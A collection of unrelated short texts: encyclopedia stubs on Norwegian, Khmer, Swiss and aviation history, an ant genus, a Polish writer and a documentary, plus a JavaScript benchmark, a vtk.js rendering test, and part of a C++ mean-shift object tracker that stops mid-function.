The Old Norse form of the name was . The first element is , the name of an old Germanic tribe and is related to the word which means "moorland". The last element is mǫrk which means "woodland", "borderland", or "march". (See also Telemark and Finnmark.)
"In Hedmarken" is translated på Hedmarken which literally means "on Hedmarken".
History
In the early Viking Age, before Harald Fairhair, Hedmarken was a petty kingdom, part of the Eidsivating. Kings of Hedmarken included:
Halfdan Hvitbeinn
Sigtryg Eysteinsson
Eystein Eysteinsson, brother of Sigtryg
Halfdan the Black, King Harald's father, was king of half of Hedmark after defeating rulers Sigtryg and his brother, Eystein.
References
Districts of Innlandet
Hamar
Løten
Stange
Ringsaker |
```javascript
/**
* @license Apache-2.0
*
*
*
* path_to_url
*
* Unless required by applicable law or agreed to in writing, software
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
*/
'use strict';
// MODULES //
var bench = require( '@stdlib/bench' );
var isBoolean = require( '@stdlib/assert/is-boolean' ).isPrimitive;
var fromCodePoint = require( '@stdlib/string/from-code-point' );
var pkg = require( './../package.json' ).name;
var isDigitString = require( './../lib' );
// MAIN //
bench( pkg+'::single-character', function benchmark( b ) {
var bool;
var str;
var i;
b.tic();
for ( i = 0; i < b.iterations; i++ ) {
str = fromCodePoint( (i%20)+48 );
bool = isDigitString( str );
if ( typeof bool !== 'boolean' ) {
b.fail( 'should return a boolean' );
}
}
b.toc();
if ( !isBoolean( bool ) ) {
b.fail( 'should return a boolean' );
}
b.pass( 'benchmark finished' );
b.end();
});
bench( pkg+'::string', function benchmark( b ) {
var bool;
var str;
var i;
b.tic();
for ( i = 0; i < b.iterations; i++ ) {
str = '0123456789' + fromCodePoint( (i%20)+48 );
bool = isDigitString( str );
if ( typeof bool !== 'boolean' ) {
b.fail( 'should return a boolean' );
}
}
b.toc();
if ( !isBoolean( bool ) ) {
b.fail( 'should return a boolean' );
}
b.pass( 'benchmark finished' );
b.end();
});
bench( pkg+'::regexp-single-character', function benchmark( b ) {
var bool;
var str;
var RE;
var i;
RE = /[0-9]+/;
b.tic();
for ( i = 0; i < b.iterations; i++ ) {
str = fromCodePoint( (i%20)+48 );
bool = RE.test( str );
if ( typeof bool !== 'boolean' ) {
b.fail( 'should return a boolean' );
}
}
b.toc();
if ( !isBoolean( bool ) ) {
b.fail( 'should return a boolean' );
}
b.pass( 'benchmark finished' );
b.end();
});
bench( pkg+'::regexp-string', function benchmark( b ) {
var bool;
var str;
var RE;
var i;
RE = /[0-9]+/;
b.tic();
for ( i = 0; i < b.iterations; i++ ) {
str = '0123456789' + fromCodePoint( (i%20)+48 );
bool = RE.test( str );
if ( typeof bool !== 'boolean' ) {
b.fail( 'should return a boolean' );
}
}
b.toc();
if ( !isBoolean( bool ) ) {
b.fail( 'should return a boolean' );
}
b.pass( 'benchmark finished' );
b.end();
});
``` |
The Halberstadt C.III was a German single-engined reconnaissance biplane of World War I, built by Halberstädter Flugzeugwerke.
Design
The Halberstadt C.III was a structurally similar C.I equipped with a Benz Bz.IV engine with a power of 200 hp. The aircraft's armament consisted of one front 7.92-mm machine gun LMG 08/15 Spandau and one turret 7.92-mm machine gun Parabellum mounted in the rear cockpit on a mobile turret. It was developed into the Halberstadt C.V in late 1918.
Operators
Luftstreitkrafte
Specifications
See also
References
External links
Military aircraft of World War I
1910s German military reconnaissance aircraft
C.III
Single-engined tractor aircraft
Biplanes
Aircraft first flown in 1917 |
Dharanindravarman II (; also titled Paramanishkalapada) was king of the Khmer Empire from 1150 to 1160.
He married the daughter of Harshavarman III, Princess Sri Jayarajacudamani. Their son Jayavarman VII was born by 1125.
Dharanindravarman II was a cousin of the king he succeeded, Suryavarman II.
The Yuhai encyclopedia records that in 1155 “Zhenla-Luohu” (that is, Cambodia) sent two elephants as tribute to the Song emperor.
See also
Early history of Cambodia
Khmer Empire
Preah Khan Kompong Svay
References
External links
History of Jayavarman VII
12th-century Cambodian monarchs
Khmer kings
Hindu monarchs
Cambodian Hindus |
Mycetagroicus is a genus of fungus-growing ants in the subfamily Myrmicinae.
Systematics
Mycetagroicus cerradensis Brandão & Mayhé-Nunes, 2001
Mycetagroicus inflatus Brandão & Mayhé-Nunes, 2008
Mycetagroicus triangularis Brandão & Mayhé-Nunes, 2001
Mycetagroicus urbanus Brandão & Mayhé-Nunes, 2001
References
External links
Myrmicinae
Ant genera |
Bronka Nowicka (born 1974) is a Polish writer and artist. She was born in Radomsk and studied film direction at Łódź Film School. She also studied painting at the Academy of Fine Arts in Kraków. She went on to pursue a PhD in fine art, focusing on multimedia. Nowicka's interest in new media has led her to experiment with tomographics and tomovideo.
Nowicka is also an accomplished writer. Her first book, a collection of prose poetry titled Nakarmić kamień (To Feed a Stone), appeared in 2015. It won the Nike Literary Award, Poland's most prestigious literary award. It was the first time that the prize had been given to a debut work. The book also won the Złoty Środek Poezji (Golden Mean of Poetry) Award.
In 2017, the New Voices From Europe project named Nowicka as one of the most promising writers in Europe. Her work has been translated into English, German, Russian and a variety of European languages.
References
Living people
1974 births
21st-century Polish women writers |
Three referendums were held in Switzerland during 1919. The first two were held on 4 May on amending the constitution to add article 24ter on shipping, and on a constitutional amendment to impose a war tax. Both proposals were approved by a majority of voters and cantons. The third was held on 10 August on temporary amendments to article 73 of the constitution, and was also approved in spite of low turnout.
Background
All three referendums were mandatory referendums, which required a double majority; a majority of the popular vote and majority of the cantons. The decision of each canton was based on the vote in that canton. Full cantons counted as one vote, whilst half cantons counted as half.
Results
Constitutional amendment on shipping
Constitutional amendment on a war tax
Temporary amendment of article 73
References
Switzerland
Referendums
Referendums in Switzerland |
```javascript
import test from 'tape-catch';
import testUtils from 'vtk.js/Sources/Testing/testUtils';
import vtkImageGridSource from 'vtk.js/Sources/Filters/Sources/ImageGridSource';
import vtkImageMapper from 'vtk.js/Sources/Rendering/Core/ImageMapper';
import vtkImageSlice from 'vtk.js/Sources/Rendering/Core/ImageSlice';
import vtkOpenGLRenderWindow from 'vtk.js/Sources/Rendering/OpenGL/RenderWindow';
import vtkRenderer from 'vtk.js/Sources/Rendering/Core/Renderer';
import vtkRenderWindow from 'vtk.js/Sources/Rendering/Core/RenderWindow';
import vtkColorTransferFunction from 'vtk.js/Sources/Rendering/Core/ColorTransferFunction';
import baseline from './testImageIntermediateZSlice.png';
import { SlicingMode } from '../../../Core/ImageMapper/Constants';
test.onlyIfWebGL('Test ImageMapper intermediate slices', (t) => {
const gc = testUtils.createGarbageCollector(t);
t.ok('rendering', 'vtkOpenGLImageMapper testImage');
// Create some control UI
const container = document.querySelector('body');
const renderWindowContainer = gc.registerDOMElement(
document.createElement('div')
);
container.appendChild(renderWindowContainer);
// create what we will view
const renderWindow = gc.registerResource(vtkRenderWindow.newInstance());
const renderer = gc.registerResource(vtkRenderer.newInstance());
renderWindow.addRenderer(renderer);
renderer.setBackground(0.32, 0.34, 0.43);
// your_sha256_hash------------
// Test code
// your_sha256_hash------------
const gridSource = gc.registerResource(vtkImageGridSource.newInstance());
const extent = 200;
const gridSpacing = 32;
const dataSpacing = 4;
const origin = 16;
gridSource.setDataExtent(0, extent, 0, extent, 0, 4);
gridSource.setDataSpacing(dataSpacing, dataSpacing, dataSpacing);
gridSource.setGridSpacing(gridSpacing, gridSpacing, gridSpacing);
gridSource.setGridOrigin(origin, origin, 1);
const direction = [0.866, 0.5, 0, -0.5, 0.866, 0, 0, 0, 1];
gridSource.setDataDirection(...direction);
const slice = 0;
const offset = 1.5;
// mapperAbove should show above mapperBelow
// scalars, however, should be correct
const mapperBelow = gc.registerResource(vtkImageMapper.newInstance());
mapperBelow.setInputConnection(gridSource.getOutputPort());
mapperBelow.setSlicingMode(SlicingMode.Z);
mapperBelow.setSlice(slice * dataSpacing);
const mapperAbove = gc.registerResource(vtkImageMapper.newInstance());
mapperAbove.setInputConnection(gridSource.getOutputPort());
mapperAbove.setSlicingMode(SlicingMode.Z);
mapperAbove.setSlice(slice * dataSpacing + offset);
// make sure that if both mappers were coincident,
// mapperBelow would show above mapperAbove, breaking the test
mapperBelow.setResolveCoincidentTopologyToPolygonOffset();
mapperAbove.setResolveCoincidentTopologyToPolygonOffset();
mapperBelow.setRelativeCoincidentTopologyPolygonOffsetParameters(0, -1);
mapperAbove.setRelativeCoincidentTopologyPolygonOffsetParameters(0, 1);
const actorBelow = gc.registerResource(vtkImageSlice.newInstance());
const rgb = vtkColorTransferFunction.newInstance();
rgb.addRGBPoint(0, 0, 0, 0);
rgb.addRGBPoint(255, 0, 0, 0);
actorBelow.getProperty().setRGBTransferFunction(rgb);
actorBelow.setMapper(mapperBelow);
actorBelow.setPosition(100, 100, 0);
const actorAbove = gc.registerResource(vtkImageSlice.newInstance());
actorAbove.setMapper(mapperAbove);
actorAbove.setPosition(-100, 0, 0);
renderer.addActor(actorBelow);
renderer.addActor(actorAbove);
renderer.resetCamera();
// -----------------------------------------------------------
// Make some variables global so that you can inspect and
// modify objects in your browser's developer console:
// -----------------------------------------------------------
// create something to view it, in this case webgl
const glwindow = gc.registerResource(vtkOpenGLRenderWindow.newInstance());
glwindow.setContainer(renderWindowContainer);
renderWindow.addView(glwindow);
glwindow.setSize(400, 400);
glwindow.captureNextImage().then((image) => {
testUtils.compareImages(
image,
[baseline],
'Rendering/OpenGL/ImageMapper',
t,
0.5,
gc.releaseResources
);
});
renderWindow.render();
});
``` |
80000 Shots is a German film directed by Manfred Walther. It was released in 2002 and had its premiere at the Berlin International Film Festival.
It is a documentary about the reconstruction of Berlin's Potsdamer Platz. The film runs for 55 minutes' and was shot in timelapse between 1990–2001.
References
External links
Official site
2002 films
German documentary films
2000s German-language films
2000s German films |
```c++
/*******************************************************************
Tracker based on Variable Mean-Shift algorithm and Interpolate Template Matching
Version: MT1
Compiler: Microsoft Visual Studio.net
Luigi Sgaglione
**********************************************************************/
#include <memory>
#include "ObjectTracker.h"
#include <math.h>
#include <stdio.h>
#include <stdlib.h>
#include <fstream>
#include <iostream>
#include <ios>
#include <algorithm>
using namespace std;
#define MEANSHIFT_ITERATION_NO 15
#define ALPHA 0.98
#define EDGE_DETECT_THRESHOLD 32
#define ITERACTION_THRESHOLD 0.4
#define MAX_FLOAT 3.40282e+38;
//your_sha256_hash-----------------------------------------
// Constructor
CObjectTracker::CObjectTracker(int imW, int imH, bool _colorimage,
bool _att_background, bool _man_occlusion) {
att_background = _att_background;
colorimage = _colorimage;
m_nImageWidth = imW;
m_nImageHeight = imH;
track = true;
man_occlusion = _man_occlusion;
m_initialized = false;
for (int i = 0; i < 30; i++) {
neighbours[i].X = -1;
neighbours[i].Y = -1;
neighbours[i].dist2 = MAX_FLOAT;
neighbours[i].X_old = -1;
neighbours[i].Y_old = -1;
}
if (!colorimage)
HISTOGRAM_LENGTH = 512;
else
HISTOGRAM_LENGTH = 8192;
m_sTrackingObject.initHistogram.reset(new float[HISTOGRAM_LENGTH]);
if (att_background)
m_sTrackingObject.weights_background.reset(new float[HISTOGRAM_LENGTH]);
else
m_sTrackingObject.weights_background.reset();
m_sTrackingObject.Status = false;
for (short j = 0; j < HISTOGRAM_LENGTH; j++)
m_sTrackingObject.initHistogram[j] = 0;
};
//your_sha256_hash----------------------------------------
// Destructor
CObjectTracker::~CObjectTracker() {}
//your_sha256_hash----------------------------------------
// Get pixel value RGB
ValuePixel CObjectTracker::GetPixelValues(TRaster32P *frame, short x, short y) {
TPixel32 *data;
ValuePixel pixelValues;
(*frame)->lock();
data = x + (*frame)->pixels(abs(y - m_nImageHeight + 1));
pixelValues.b = data->b;
pixelValues.g = data->g;
pixelValues.r = data->r;
(*frame)->unlock();
return (pixelValues);
}
//your_sha256_hash----------------------------------------
// Set pixel value RGB
void CObjectTracker::SetPixelValues(TRaster32P *frame, ValuePixel pixelValues,
short x, short y) {
TPixel32 *data;
(*frame)->lock();
data = x + (*frame)->pixels(abs(y - m_nImageHeight + 1));
data->b = pixelValues.b;
data->g = pixelValues.g;
data->r = pixelValues.r;
(*frame)->unlock();
}
//your_sha256_hash----------------------------------------
// Inizialization parameters object
void CObjectTracker::ObjectTrackerInitObjectParameters(
short id, short x, short y, short Width, short Height, short _dim,
short _var_dim, float _dist, float _distB) {
objID = id;
m_sTrackingObject.dim_temp = _dim;
m_sTrackingObject.var_dim = _var_dim;
m_sTrackingObject.threshold_distance = _dist;
m_sTrackingObject.threshold_distance_B = _distB;
m_sTrackingObject.X = x;
m_sTrackingObject.Y = y;
m_sTrackingObject.W = Width;
m_sTrackingObject.H = Height;
m_sTrackingObject.X_old = x;
m_sTrackingObject.Y_old = y;
m_sTrackingObject.W_old = Width;
m_sTrackingObject.H_old = Height;
m_sTrackingObject.X_temp = x;
m_sTrackingObject.Y_temp = y;
m_sTrackingObject.W_temp = Width;
m_sTrackingObject.H_temp = Height;
m_sTrackingObject.half_pixelx = 0;
m_sTrackingObject.half_pixely = 0;
m_sTrackingObject.Status = true;
m_sTrackingObject.assignedAnObject = false;
}
//your_sha256_hash----------------------------------------
// Update frame template
void CObjectTracker::updateTemp() {
m_sTrackingObject.X_temp = m_sTrackingObject.X;
m_sTrackingObject.Y_temp = m_sTrackingObject.Y;
m_sTrackingObject.W_temp = m_sTrackingObject.W;
m_sTrackingObject.H_temp = m_sTrackingObject.H;
}
//your_sha256_hash----------------------------------------
// Object Tracking
void CObjectTracker::ObjeckTrackerHandlerByUser(TRaster32P *frame) {
if (m_sTrackingObject.Status) {
if (!m_sTrackingObject.assignedAnObject) {
FindHistogram(frame, m_sTrackingObject.initHistogram.get(), 1);
m_sTrackingObject.assignedAnObject = true;
/*
ofstream output;
output.open("output.txt",ios_base::app);
output<<m_sTrackingObject.X <<" "<<m_sTrackingObject.Y<<endl;
output<<m_sTrackingObject.W <<" "<<m_sTrackingObject.H<<endl;
output<<m_sTrackingObject.half_pixelx <<"
"<<m_sTrackingObject.half_pixely<<endl;
if (m_visible=="")
{
output<<"VISIBLE"<<endl;
}
else
{
output<<m_visible<<endl;
}
output.close();
output.open("output_center.txt",ios_base::app);
output<<"Coordinate del punto - X : "<<m_sTrackingObject.X -
((m_nImageWidth - 1)/2)<<" - Y : "<<m_sTrackingObject.Y - ((m_nImageHeight
- 1)/2)<<endl;
output<<"Larghezza dell'area : "<<m_sTrackingObject.W <<" - Altezza
dell'aera : "<<m_sTrackingObject.H<<endl;
output<<"Mezzo pixel : "<<m_sTrackingObject.half_pixelx <<"
"<<m_sTrackingObject.half_pixely<<endl;
if (m_visible=="")
{
output<<"Visibilit : VISIBLE"<<endl;
}
else
{
output<<"Visibilit : "<<m_visible<<endl;
}
output.close();*/
} else {
FindNextLocation(frame);
}
}
}
//your_sha256_hash----------------------------------------
// histogram object
void CObjectTracker::FindHistogram(TRaster32P *frame, float(*histogram),
float h) {
short normx = 0, normy = 0;
float normc = 0.0, normc1 = 0.0;
short i = 0;
short x = 0;
short y = 0;
UBYTE8 E = 0;
UBYTE8 qR = 0, qG = 0, qB = 0;
ValuePixel pixelValues;
int indice = 0;
for (i = 0; i < HISTOGRAM_LENGTH; i++) histogram[i] = 0.0;
if ((colorimage) && (att_background)) FindWeightsBackground(frame);
// normalization
normx = short(m_sTrackingObject.X + m_sTrackingObject.W / 2);
normy = short(m_sTrackingObject.Y + m_sTrackingObject.H / 2);
for (y = std::max(m_sTrackingObject.Y - m_sTrackingObject.H / 2, 0);
y <= std::min(m_sTrackingObject.Y + m_sTrackingObject.H / 2,
m_nImageHeight - 1);
y++)
for (x = std::max(m_sTrackingObject.X - m_sTrackingObject.W / 2, 0);
x <= std::min(m_sTrackingObject.X + m_sTrackingObject.W / 2,
m_nImageWidth - 1);
x++) {
E = CheckEdgeExistence(frame, x, y);
pixelValues = GetPixelValues(frame, x, y);
// components RGB "quantizzate"
if (!colorimage) {
indice = 256 * E + pixelValues.r;
} else {
qR = pixelValues.r / 16;
qG = pixelValues.g / 16;
qB = pixelValues.b / 16;
indice = 4096 * E + 256 * qR + 16 * qG + qB;
}
histogram[indice] += 1 -
(((m_sTrackingObject.X - x) / normx) *
((m_sTrackingObject.X - x) / normx) +
((m_sTrackingObject.Y - y) / normy) *
((m_sTrackingObject.Y - y) / normy)) /
(h * h);
}
if ((colorimage) && (att_background)) {
for (i = 0; i < HISTOGRAM_LENGTH; i++)
histogram[i] *= m_sTrackingObject.weights_background[i];
// normalization pdf
for (i = 0; i < HISTOGRAM_LENGTH; i++) {
normc += histogram[i];
normc1 += m_sTrackingObject.weights_background[i];
}
// Pdf
for (i = 0; i < HISTOGRAM_LENGTH; i++)
histogram[i] = histogram[i] / (normc * normc1);
}
else {
for (i = 0; i < HISTOGRAM_LENGTH; i++) normc += histogram[i];
for (i = 0; i < HISTOGRAM_LENGTH; i++)
histogram[i] = histogram[i] / (normc);
}
}
//your_sha256_hash----------------------------------------
// Histogram background
void CObjectTracker::FindHistogramBackground(TRaster32P *frame,
float(*background)) {
short i = 0;
short x = 0;
short y = 0;
UBYTE8 E = 0;
UBYTE8 qR = 0, qG = 0, qB = 0;
ValuePixel pixelValues;
UINT32 pix = 0;
for (i = 0; i < HISTOGRAM_LENGTH; i++) background[i] = 0.0;
for (y = std::max(m_sTrackingObject.Y - (m_sTrackingObject.H * 1.73) / 2,
0.0);
y <= std::min(m_sTrackingObject.Y + (m_sTrackingObject.H * 1.73) / 2,
m_nImageHeight - 1.0);
y++)
for (x = std::max(m_sTrackingObject.X - (m_sTrackingObject.W * 1.73) / 2,
0.0);
x <= std::min(m_sTrackingObject.X + (m_sTrackingObject.W * 1.73) / 2,
m_nImageWidth - 1.0);
x++) {
if (((m_sTrackingObject.Y - m_sTrackingObject.H / 2) <= y) &&
(y <= (m_sTrackingObject.Y + m_sTrackingObject.H / 2)) &&
((m_sTrackingObject.X - m_sTrackingObject.W / 2) <= x) &&
(x <= (m_sTrackingObject.X + m_sTrackingObject.W / 2)))
continue;
E = CheckEdgeExistence(frame, x, y);
pixelValues = GetPixelValues(frame, x, y);
// components RGB "quantizzate"
qR = pixelValues.r / 16;
qG = pixelValues.g / 16;
qB = pixelValues.b / 16;
background[4096 * E + 256 * qR + 16 * qG + qB] += 1;
pix++;
}
// Pdf
for (i = 0; i < HISTOGRAM_LENGTH; i++) background[i] = background[i] / pix;
}
//your_sha256_hash----------------------------------------
// Weights Background
void CObjectTracker::FindWeightsBackground(TRaster32P *frame) {
float small1;
std::unique_ptr<float[]> background(new float[HISTOGRAM_LENGTH]);
short i;
for (i = 0; i < HISTOGRAM_LENGTH; i++)
m_sTrackingObject.weights_background[i] = 0.0;
// Histogram background
FindHistogramBackground(frame, background.get());
// searce min != 0.0
for (i = 0; background[i] == 0.0; i++)
;
small1 = background[i];
for (i = 0; i < HISTOGRAM_LENGTH; i++)
if ((background[i] != 0.0) && (background[i] < small1))
small1 = background[i];
// weights
for (i = 0; i < HISTOGRAM_LENGTH; i++) {
if (background[i] == 0.0)
m_sTrackingObject.weights_background[i] = 1;
else
m_sTrackingObject.weights_background[i] = small1 / background[i];
}
}
//your_sha256_hash----------------------------------------
// new location
void CObjectTracker::FindWightsAndCOM(TRaster32P *frame, float(*histogram)) {
short i = 0;
short x = 0;
short y = 0;
UBYTE8 E = 0;
float sumOfWeights = 0;
short ptr = 0;
UBYTE8 qR = 0, qG = 0, qB = 0;
float newX = 0.0;
float newY = 0.0;
ValuePixel pixelValues;
std::unique_ptr<float[]> weights(new float[HISTOGRAM_LENGTH]);
// weights
for (i = 0; i < HISTOGRAM_LENGTH; i++) {
if (histogram[i] > 0.0)
weights[i] = sqrt(m_sTrackingObject.initHistogram[i] / histogram[i]);
else
weights[i] = 0.0;
}
// new location
for (y = std::max(m_sTrackingObject.Y - m_sTrackingObject.H / 2, 0);
y <= std::min(m_sTrackingObject.Y + m_sTrackingObject.H / 2,
m_nImageHeight - 1);
y++)
for (x = std::max(m_sTrackingObject.X - m_sTrackingObject.W / 2, 0);
x <= std::min(m_sTrackingObject.X + m_sTrackingObject.W / 2,
m_nImageWidth - 1);
x++) {
E = CheckEdgeExistence(frame, x, y);
pixelValues = GetPixelValues(frame, x, y);
if (!colorimage) {
ptr = 256 * E + pixelValues.r;
} else {
qR = pixelValues.r / 16;
qG = pixelValues.g / 16;
qB = pixelValues.b / 16;
ptr = 4096 * E + 256 * qR + 16 * qG + qB;
}
newX += (weights[ptr] * x);
newY += (weights[ptr] * y);
sumOfWeights += weights[ptr];
}
if (sumOfWeights > 0) {
m_sTrackingObject.X = short((newX / sumOfWeights) + 0.5);
m_sTrackingObject.Y = short((newY / sumOfWeights) + 0.5);
}
}
//your_sha256_hash----------------------------------------
// Edge Information of pixel
UBYTE8 CObjectTracker::CheckEdgeExistence(TRaster32P *frame, short _x,
short _y) {
UBYTE8 E = 0;
short GrayCenter = 0;
short GrayLeft = 0;
short GrayRight = 0;
short GrayUp = 0;
short GrayDown = 0;
ValuePixel pixelValues;
pixelValues = GetPixelValues(frame, _x, _y);
GrayCenter = short(3 * pixelValues.r + 6 * pixelValues.g + pixelValues.b);
if (_x > 0) {
pixelValues = GetPixelValues(frame, _x - 1, _y);
GrayLeft = short(3 * pixelValues.r + 6 * pixelValues.g + pixelValues.b);
}
if (_x < (m_nImageWidth - 1)) {
pixelValues = GetPixelValues(frame, _x + 1, _y);
GrayRight = short(3 * pixelValues.r + 6 * pixelValues.g + pixelValues.b);
}
if (_y > 0) {
pixelValues = GetPixelValues(frame, _x, _y - 1);
GrayUp = short(3 * pixelValues.r + 6 * pixelValues.g + pixelValues.b);
}
if (_y < (m_nImageHeight - 1)) {
pixelValues = GetPixelValues(frame, _x, _y + 1);
GrayDown = short(3 * pixelValues.r + 6 * pixelValues.g + pixelValues.b);
}
if (abs((GrayCenter - GrayLeft) / 10) > EDGE_DETECT_THRESHOLD) E = 1;
if (abs((GrayCenter - GrayRight) / 10) > EDGE_DETECT_THRESHOLD) E = 1;
if (abs((GrayCenter - GrayUp) / 10) > EDGE_DETECT_THRESHOLD) E = 1;
if (abs((GrayCenter - GrayDown) / 10) > EDGE_DETECT_THRESHOLD) E = 1;
return (E);
}
//your_sha256_hash----------------------------------------
// Mean-shift
void CObjectTracker::FindNextLocation(TRaster32P *frame) {
short i = 0;
short iteration = 0;
short xold = 0;
short yold = 0;
float distanza;
float Height, Width;
float h = 1.0;
float h_opt;
float DELTA;
double rho, rho1, rho2;
std::unique_ptr<float[]> currentHistogram(new float[HISTOGRAM_LENGTH]);
Height = m_sTrackingObject.H;
Width = m_sTrackingObject.W;
// old
m_sTrackingObject.W_old = m_sTrackingObject.W;
m_sTrackingObject.H_old = m_sTrackingObject.H;
m_sTrackingObject.X_old = m_sTrackingObject.X;
m_sTrackingObject.Y_old = m_sTrackingObject.Y;
for (iteration = 0; iteration < MEANSHIFT_ITERATION_NO; iteration++) {
rho = 0.0;
rho1 = 0.0;
rho2 = 0.0;
DELTA = 0.1 * h;
// Prew center
xold = m_sTrackingObject.X;
yold = m_sTrackingObject.Y;
// Histogram with bandwidth h
FindHistogram(frame, currentHistogram.get(), h);
// New location
FindWightsAndCOM(frame, currentHistogram.get());
// Histogram with new location
FindHistogram(frame, currentHistogram.get(), h);
// Battacharyya coefficient
for (i = 0; i < HISTOGRAM_LENGTH; i++)
rho += sqrt(m_sTrackingObject.initHistogram[i] * currentHistogram[i]);
// old center
m_sTrackingObject.X = xold;
m_sTrackingObject.Y = yold;
// Histogram with bandwidth h-DELTA
m_sTrackingObject.H = Height - m_sTrackingObject.var_dim;
m_sTrackingObject.W = Width - m_sTrackingObject.var_dim;
FindHistogram(frame, currentHistogram.get(), h - DELTA);
// New location
FindWightsAndCOM(frame, currentHistogram.get());
// Histogram with new location
FindHistogram(frame, currentHistogram.get(), h - DELTA);
// Battacharyya coefficient
for (i = 0; i < HISTOGRAM_LENGTH; i++)
rho1 += sqrt(m_sTrackingObject.initHistogram[i] * currentHistogram[i]);
// old center
m_sTrackingObject.X = xold;
m_sTrackingObject.Y = yold;
// Histogram with bandwidth h+DELTA
m_sTrackingObject.H = Height + m_sTrackingObject.var_dim;
m_sTrackingObject.W = Width + m_sTrackingObject.var_dim;
FindHistogram(frame, currentHistogram.get(), h + DELTA);
// New location
FindWightsAndCOM(frame, currentHistogram.get());
// Histogram with new location
FindHistogram(frame, currentHistogram.get(), h + DELTA);
// Battacharyya coefficient
for (i = 0; i < HISTOGRAM_LENGTH; i++)
rho2 += sqrt(m_sTrackingObject.initHistogram[i] * currentHistogram[i]);
// h_optimal
if ((rho >= rho1) && (rho >= rho2))
h_opt = h;
else if (rho1 > rho2) {
h_opt = h - DELTA;
Height -= m_sTrackingObject.var_dim;
Width -= m_sTrackingObject.var_dim;
} else {
h_opt = h + DELTA;
Height += m_sTrackingObject.var_dim;
Width += m_sTrackingObject.var_dim;
}
// oversensitive scale adaptation
h = 0.1 * h_opt + (1 - 0.1) * h;
// New dimension Object box
m_sTrackingObject.H = Height;
m_sTrackingObject.W = Width;
// old center
m_sTrackingObject.X = xold;
m_sTrackingObject.Y = yold;
// Current Histogram
FindHistogram(frame, currentHistogram.get(), h);
// Definitive new location
FindWightsAndCOM(frame, currentHistogram.get());
// threshold
distanza = sqrt(
float((xold - m_sTrackingObject.X) * (xold - m_sTrackingObject.X) +
(yold - m_sTrackingObject.Y) * (yold - m_sTrackingObject.Y)));
if (distanza <= ITERACTION_THRESHOLD) break;
}
// New Histogram
FindHistogram(frame, currentHistogram.get(), h);
// Update
UpdateInitialHistogram(currentHistogram.get());
}
//your_sha256_hash----------------------------------------
// Update Initial histogram
void CObjectTracker::UpdateInitialHistogram(float(*histogram)) {
short i = 0;
for (i = 0; i < HISTOGRAM_LENGTH; i++)
m_sTrackingObject.initHistogram[i] =
ALPHA * m_sTrackingObject.initHistogram[i] + (1 - ALPHA) * histogram[i];
}
//your_sha256_hash---------------------------------------
// Template Matching
float CObjectTracker::Matching(TRaster32P *frame, TRaster32P *frame_temp) {
float dist = 0.0;
float min_dist = MAX_FLOAT;
short u, v, x, y;
short u_sup, v_sup;
short x_min, y_min;
short x_max, y_max;
short dimx, dimy;
short dimx_int, dimy_int;
short ok_u = 0;
short ok_v = 0;
if (!track) {
if (m_sTrackingObject.X != -1) {
m_sTrackingObject.X_old = m_sTrackingObject.X;
m_sTrackingObject.Y_old = m_sTrackingObject.Y;
} else {
m_sTrackingObject.X = m_sTrackingObject.X_old;
m_sTrackingObject.Y = m_sTrackingObject.Y_old;
}
}
std::unique_ptr<short[]> u_att(new short[2 * m_sTrackingObject.dim_temp + 1]);
std::unique_ptr<short[]> v_att(new short[2 * m_sTrackingObject.dim_temp + 1]);
x_min = std::max(m_sTrackingObject.X_temp - m_sTrackingObject.W_temp / 2, 0);
y_min = std::max(m_sTrackingObject.Y_temp - m_sTrackingObject.H_temp / 2, 0);
x_max = std::min(m_sTrackingObject.X_temp + m_sTrackingObject.W_temp / 2,
m_nImageWidth - 1);
y_max = std::min(m_sTrackingObject.Y_temp + m_sTrackingObject.H_temp / 2,
m_nImageHeight - 1);
// dimension template
dimx = x_max - x_min + 1;
dimy = y_max - y_min + 1;
// dimension interpolate template
dimx_int = dimx * 2 - 1;
dimy_int = dimy * 2 - 1;
// searce area
int in = 0;
for (u = -m_sTrackingObject.dim_temp; u <= m_sTrackingObject.dim_temp; u++) {
if (((m_sTrackingObject.X + u - dimx / 2) < 0) ||
((m_sTrackingObject.X + u + dimx / 2) > m_nImageWidth - 1))
u_att[in] = 0;
else {
u_att[in] = 1;
ok_u += 1;
}
in++;
}
in = 0;
for (v = -m_sTrackingObject.dim_temp; v <= m_sTrackingObject.dim_temp; v++) {
if (((m_sTrackingObject.Y + v - dimy / 2) < 0) ||
((m_sTrackingObject.Y + v + dimy / 2) > m_nImageHeight - 1))
v_att[in] = 0;
else {
v_att[in] = 1;
ok_v += 1;
}
in++;
}
if ((ok_u > 0) && (ok_v > 0)) {
// Interpolate template
std::unique_ptr<ValuePixel[]> pixel_temp(
new ValuePixel[dimx_int * dimy_int]);
// original value
for (int i = 0; i <= (dimx - 1); i++)
for (int j = 0; j <= (dimy - 1); j++) {
pixel_temp[i * dimy_int * 2 + j * 2] =
GetPixelValues(frame_temp, x_min + i, y_min + j);
}
// Interpolate value row
for (int i = 1; i < (dimx_int * dimy_int); i += 2) {
pixel_temp[i].r = (pixel_temp[i - 1].r + pixel_temp[i + 1].r) / 2;
pixel_temp[i].g = (pixel_temp[i - 1].g + pixel_temp[i + 1].g) / 2;
pixel_temp[i].b = (pixel_temp[i - 1].b + pixel_temp[i + 1].b) / 2;
if (i % dimy_int == dimy_int - 2) i += dimy_int + 1;
}
// Interpolate value column
for (int i = dimy_int; i <= ((dimx_int - 1) * dimy_int - 1); i += 2) {
pixel_temp[i].r =
(pixel_temp[i - dimy_int].r + pixel_temp[i + dimy_int].r) / 2;
pixel_temp[i].g =
(pixel_temp[i - dimy_int].g + pixel_temp[i + dimy_int].g) / 2;
pixel_temp[i].b =
(pixel_temp[i - dimy_int].b + pixel_temp[i + dimy_int].b) / 2;
if (i % dimy_int == dimy_int - 1) i += dimy_int - 1;
}
// Interpolate value central
for (int i = dimy_int + 1; i <= ((dimx_int - 1) * dimy_int - 2); i += 2) {
pixel_temp[i].r = UBYTE8(float((pixel_temp[i - dimy_int - 1].r +
pixel_temp[i - dimy_int + 1].r +
pixel_temp[i + dimy_int - 1].r +
pixel_temp[i + dimy_int + 1].r) /
4) +
0.4);
pixel_temp[i].g = UBYTE8(float((pixel_temp[i - dimy_int - 1].g +
pixel_temp[i - dimy_int + 1].g +
pixel_temp[i + dimy_int - 1].g +
pixel_temp[i + dimy_int + 1].g) /
4) +
0.4);
pixel_temp[i].b = UBYTE8(float((pixel_temp[i - dimy_int - 1].b +
pixel_temp[i - dimy_int + 1].b +
pixel_temp[i + dimy_int - 1].b +
pixel_temp[i + dimy_int + 1].b) /
4) +
0.4);
